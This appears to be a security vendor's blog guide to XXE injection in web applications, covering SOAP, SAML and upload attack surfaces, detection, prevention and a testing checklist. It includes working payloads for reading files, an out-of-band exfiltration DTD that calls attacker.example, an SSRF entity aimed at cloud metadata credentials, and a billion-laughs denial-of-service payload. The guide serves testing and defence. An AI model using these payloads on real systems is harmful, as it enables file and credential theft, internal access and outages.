All Blogs

Quick Overview: XXE attacks exploit XML parsers that resolve external entities, turning ordinary document processing into file disclosure, SSRF, and denial of service. This guide maps where XXE surfaces in modern web applications, what attackers achieve once they have it, and how to detect and prevent it.
Most teams treat XML as a legacy concern. Then a SOAP endpoint, a SAML login, or an avatar upload quietly parses attacker-controlled XML, and a single crafted entity reads /etc/passwd or pivots into the internal network. XML External Entity (XXE) injection remains one of the most under-tested vulnerability classes in modern web applications, precisely because XML has retreated from the surface into file uploads, authentication flows, and service-to-service calls where nobody thinks to look.
This guide is organized around two questions that matter to anyone testing or defending an application. First, where does XXE actually occur: which real injection points in a modern stack accept XML and hand it to a misconfigured parser. Second, what can an attacker achieve once they have XXE: which outcomes, from local file disclosure to SSRF to remote code execution, actually follow.
We separate those axes on purpose. The scenarios describe the attack surface. The impacts describe the payoff. Keeping them distinct is what turns vague awareness of XXE into a concrete testing plan. After that we cover how to detect XXE during an AI-powered automated pentest, how to shut it down at the parser level, and a checklist you can run against your own endpoints.
Go beyond obvious endpoints and uncover weaknesses buried across your application’s attack surface. Start Hunting
On This Page
- What is an XXE Attack?
- How XXE Vulnerabilities Occur in Modern Web Applications?
- Common XXE Attack Scenarios
- What Attackers Can Achieve With XXE?
- How to Detect XXE During Web Application Pentesting?
- How to Prevent XXE?
- XXE Testing Checklist
- Closing Thoughts
What is an XXE Attack?
An XXE (XML External Entity) attack is an injection vulnerability where an application parses attacker-controlled XML with a parser configured to resolve external entities. This allows the attacker to read local files, reach internal systems, or exhaust server resources.
XML documents can define entities, which are shorthand tokens the parser expands when it reads the document. A Document Type Definition (DTD) can declare an external entity that references a URI, and a permissive parser will fetch and inline whatever that URI points to. Point it at file:///etc/passwd and the file contents come back in the response. The flaw is not in XML itself. It lives in parsers that resolve external entities and process DTDs by default, a behavior that still ships enabled in many older libraries.
How XXE Vulnerabilities Occur in Modern Web Applications?
XXE attacks work in web applications when the application accepts XML from an untrusted source and processes it with an XML parser that has external entity resolution or DTD processing enabled, so the attacker controls what the parser fetches and inlines.
Three conditions have to line up: an XML parser with unsafe defaults, external entity or DTD processing left enabled, and a path for attacker-controlled XML to reach that parser. When all three are present, the parser becomes a general-purpose file reader and outbound request engine on the attacker's behalf.
What makes this a modern problem rather than a solved one is where XML now hides. It rarely sits in an obvious request body anymore. Instead, it shows up in JSON-first APIs that still bind application/xml when the header is switched, in SAML single sign-on assertions, in service-to-service calls behind the gateway, and in document formats like SVG and Office files that are XML under the hood. Because the parser often runs on infrastructure that can reach cloud metadata endpoints and internal services, the blast radius is larger than a simple file read.
OWASP folded XXE into the broader Security Misconfiguration category in its 2021 revision, which is one reason it now draws less dedicated attention than the risk warrants. Exploitation of application vulnerabilities has also become one of the leading ways breaches begin, according to the 2026 Verizon DBIR, so an untested XML endpoint is not a theoretical gap.
Common XXE Attack Examples
The most common XXE attack scenarios in modern web applications are XML-based SOAP and REST APIs, JSON endpoints that silently accept XML after a Content-Type switch, file upload and document parsers, SAML single sign-on flows, and legacy enterprise integrations. Each is a distinct injection surface, which is why they are worth walking through one at a time.
1) XXE in SOAP and XML-Based APIs
SOAP is XML by definition, and plenty of REST endpoints still accept application/xml alongside JSON. These are the most direct XXE targets: the request body is already XML, so an attacker only has to add a DOCTYPE with an external entity and reference it in a field that gets reflected back.
POST /api/v1/orders HTTP/1.1 Content-Type: application/xml <?xml version="1.0"?> <!DOCTYPE order [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <order><id>&xxe;</id></order>The server expands &xxe; and returns the file contents inside the id field. Yes, XXE attacks affect SOAP applications directly, and legacy SOAP services are frequent real-world targets because they were built when parser defaults were unsafe and rarely get revisited. Testing XML and SOAP endpoints is a core part of API security testing, since these surfaces are easy to overlook once a product moves to JSON.
2) Content-Type Downgrade on JSON-First APIs
This is the scenario that makes XXE a genuinely modern problem. An endpoint advertises and documents only JSON, so it looks safe. But the framework behind it has an XML message converter registered as well, and it selects the parser based on the request's Content-Type header. Flip that header from application/json to application/xml, send an XML body, and the request binds to an XML parser that nobody hardened.
\# Same endpoint, header flipped from json to xml Content-Type: application/xmls <?xml version="1.0"?> <!DOCTYPE creds [ <!ENTITY x SYSTEM "file:///app/config/secrets.yml"> ]> <login><user>&x;</user><pass>a</pass></login>Because the JSON contract gave no hint that XML was even accepted, these endpoints are almost never included in an XXE test plan. That is exactly why they survive.
Let AI investigate how seemingly harmless inputs can become real attack paths. Explore AI-Powered Pentesting
3) XXE Through File Uploads and Document Processing
Any feature that accepts a file and parses it as XML is an XXE surface, even when the upload looks like an image or a document. Three formats matter most. SVG avatars and logos are XML markup, so a poisoned SVG whose <text> element references an external entity leaks a file into the rendered or converted output. Office documents (.docx, .xlsx, .pptx) are ZIP archives of XML parts, and an entity planted in document.xml fires when the server unpacks and parses the file. Image and PDF metadata carried as XMP is RDF/XML, parsed by many thumbnailing and media pipelines.
<?xml version="1.0"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]> <svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>So yes, XXE vulnerabilities occur through file uploads regularly, and the upload handler is often a separate service from the main app, running an even older parser with less scrutiny.
4) XXE in SAML SSO and Federation Flows
SAML single sign-on rides entirely on XML. The identity provider returns a base64-encoded SAMLResponse, and the service provider decodes and parses it to read the assertion. If that parsing happens before the XML signature is validated, which is a common implementation mistake, an external entity embedded in the response is resolved during parsing, well before any trust check runs.
<!-- Injected into the decoded SAMLResponse, parsed pre-verification --> <!DOCTYPE Response [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>SSO and metadata-ingestion endpoints are high value because they usually sit on internal-facing infrastructure with access to secrets and directory services, so a file read here tends to return something worth having.
5) XXE in Legacy Enterprise Integrations
Modern estates are still stitched together with old XML plumbing. A sleek front end calls a legacy SOAP service, an ESB routes B2B messages, or a partner submits invoices and EDI documents as XML. These integration points are the oldest code in the stack, the least monitored, and the most likely to run a parser with external entities enabled. The attacker does not touch the modern app at all. They feed hostile XML into the integration it trusts, and the vulnerable parser is one hop back from anything a scanner point at.
What Attackers Can Achieve With XXE?
With an XXE vulnerability, an attacker can read local files, perform server-side request forgery against internal systems and cloud metadata, exfiltrate data out of band when nothing is reflected, exhaust server resources for denial of service, and in specific environments achieve remote code execution. The scenarios above describe the door. These are the rooms behind it.
Local File Disclosure
The baseline outcome. An external entity pointed at a file:// path returns configuration files, source code, credentials, and private keys in the response. And yes, XXE vulnerabilities expose sensitive files routinely: /etc/passwd is the demonstration, but the real prizes are application config, cloud credential files, and /proc/self/environ. Files with characters that break XML well-formedness can be wrapped, for example through a php://filter base64 stream, so multiline and binary content still comes back cleanly.
Blind XXE and Out-of-Band Exfiltration
Blind XXE is a retrieval channel, not a separate outcome: when the parser returns nothing useful in the response, the attacker uses an external DTD with parameter entities to push file contents to an attacker-controlled server over HTTP or DNS, or forces an error that leaks data in the message. The document loads a remote DTD, which defines parameter entities that read a local file and smuggle it into an outbound request.
<?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY % ext SYSTEM "http://attacker.example/evil.dtd"> %ext; ]> <data>&send;</data>Blind XXE matters because most modern endpoints do not echo parsed input back, so an in-band-only test misses them entirely.
SSRF and Internal Service Access
Because the parser fetches whatever URI an entity names, XXE becomes server-side request forgery. And yes, XXE attacks lead to SSRF directly. Instead of a file:// path, the entity points at an http:// target the parser can reach: internal admin panels, unauthenticated services on the private network, or the cloud metadata endpoint. In a cloud environment, that last one is the crown jewel.
<!ENTITY xxe SYSTEM http://169.254.169.254/latest/meta-data/iam/security-credentials/>Reaching the instance metadata service (IMDS) can hand over temporary cloud credentials, converting a document parser into a foothold in the account.
Remote Code Execution
RCE from XXE is real but environment-dependent, so it should never be assumed. It requires specific components to be present: the PHP expect:// wrapper when that module is loaded, the Java jar: handler abused for a controlled temp-file write, or an XSLT engine that exposes extension functions. Where those conditions hold, a file-read primitive escalates into command execution. Where they do not, XXE stops at disclosure and SSRF, which is still more than enough.
Denial of Service
When file read and outbound requests are locked down, entity expansion can still take the service down. The classic billion laughs attack nests entities so that a tiny document expands to gigabytes in memory.
<!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> ]> <lolz>&lol3;</lolz>Quadratic blowup variants and entities pointed at slow or endless resources like /dev/random achieve the same exhaustion without a remote fetch.
Compare your options for continuous application security testing without scaling manual pentest effort. Find Your Plan
How to Detect XXE During Web Application Pentesting?
To validate an XXE vulnerability, web app pentesting identifies every endpoint that parses XML, inject a benign external entity or a Content-Type switch, and confirm exploitability through reflected file contents or an out-of-band callback rather than treating a parser error as proof. A reliable test pass walks the full XML attack surface rather than the obvious request bodies alone.
- XML Endpoint Discovery: Enumerate SOAP services (WSDL, .asmx, .svc), SAML and metadata endpoints, and any handler advertising an XML content type, plus every file upload that accepts SVG or Office formats.
- Content-Type Testing: On JSON APIs, resend requests with application/xml and an XML body to catch parsers that bind XML silently.
- DTD and Entity Testing: Inject a harmless internal entity first to confirm the parser expands entities at all before escalating to external ones.
- Out-of-Band Testing: Use an OAST callback (for example a collaborator host) to catch blind XXE where nothing is reflected in the response.
- XML File-upload Testing: Submit SVG, DOCX, and XLSX payloads carrying an external entity and inspect the rendered, converted, or extracted output.
- Authenticated XML Workflows: Many XML endpoints sit behind login, so test with valid sessions and across roles.
- XInclude When DOCTYPE is Blocked: If a DOCTYPE is rejected, try an XInclude payload, which can pull in a file without a DTD and defeats DOCTYPE-only defenses.
This is the depth that manual, point-in-time web application penetration testing tends to skip once a product looks JSON-first.
Automating it closes the gap: ZeroThreat’s automated pentesting discovers XML entry points across web apps and APIs, exercises uploads and authenticated flows the way a real user would, and confirms blind, out-of-band exploitation with proof rather than flagging a parser error and moving on. Its dynamic application security testing engine covers XML External Entity injection as part of that continuous validation.
How to Prevent XXE?
To prevent XXE attacks in web applications, disable DTD processing and external entity resolution in every XML parser, and where DTDs cannot be fully disabled, turn off external general and parameter entities and disable XInclude. Prevention is a parser-configuration problem far more than a code-rewrite problem.
- Disable DTDs entirely. The single most effective control. If the parser never processes a DOCTYPE, external entities and billion laughs both disappear. Most libraries expose a flag to reject documents containing a DTD.
- Disable external entities and XInclude where DTDs are required. If some documents legitimately need a DTD, disable external general and parameter entities and turn off XInclude explicitly. Blocking DOCTYPE alone is not enough, because XInclude can pull in files without one.
- Prefer simpler formats. Where an interface can accept JSON instead of XML, the entire class of attack goes away.
- Patch and upgrade parsers. Newer parser versions increasingly ship safe defaults. Older ones do not, so keep libraries current.
- Validate input against a schema. Allowlist the structure you expect so unexpected DOCTYPE or entity declarations are rejected before deep parsing.
- Enforce network egress controls. Restrict outbound traffic from application hosts, so a parser cannot reach the metadata endpoint or internal services even if an entity resolves.
- Run with the least privilege. Limit the files and network the parsing process can touch, so a successful read returns as little as possible.
Exact hardening flags differ by library, so confirm secure defaults against your parser's documentation. Wiring these controls into the build is covered in ZeroThreat's guide to secure web application development.
XXE Testing Checklist
A one-screen recap for security engineers and pentesters, from discovery through fix.
- Inventory every XML entry point: SOAP/WSDL, SAML, XML-accepting REST, and SVG/Office/XMP upload handlers.
- Re-test JSON endpoints with application/xml to catch silent Content-Type binding.
- Confirm entity expansion with a benign internal entity before escalating.
- Chain an OAST callback to detect blind and out-of-band XXE.
- Upload SVG, DOCX, and XLSX payloads carrying an external entity.
- Probe SAML flows for parsing that happens before signature validation.
- Try XInclude wherever a DOCTYPE is rejected.
- Test authenticated and role-specific XML workflows, not just public routes.
- Fix: disable DTDs, disable external entities and XInclude, and enforce egress controls.
See how ZeroThreat approaches real-world application attack surfaces, from discovery through validated findings. Show Me the Platform
Closing Thoughts
XXE persists because XML slipped out of view, not because the vulnerability got harder. The endpoints that still parse it, SOAP services, SAML flows, document uploads, and legacy integrations, are exactly the ones manual testing tends to skip. Finding XXE at scale means discovering every XML entry point across web apps and APIs, testing uploads and authenticated workflows like a real attacker, and confirming blind, out-of-band exploitation instead of guessing at it.
ZeroThreat runs that discovery and exploit validation as one continuous loop, automated penetration testing that proves which XXE findings are real and prioritizes them by business impact. Sign up for ZeroThreat and test your XML attack surface before someone else does.
Frequently Asked Questions
What are the most common XXE attack scenarios in modern web applications?
The most common XXE attack scenarios in modern web applications are XML-based SOAP and REST APIs, JSON endpoints that silently accept XML after a Content-Type switch, file upload and document parsers, SAML single sign-on flows, and legacy enterprise integrations.
What can an attacker do with an XXE vulnerability?
How do you validate an XXE vulnerability?
How do you prevent XXE attacks in web applications?
Explore ZeroThreat
Automate security testing, save time, and avoid the pitfalls of manual work with ZeroThreat.


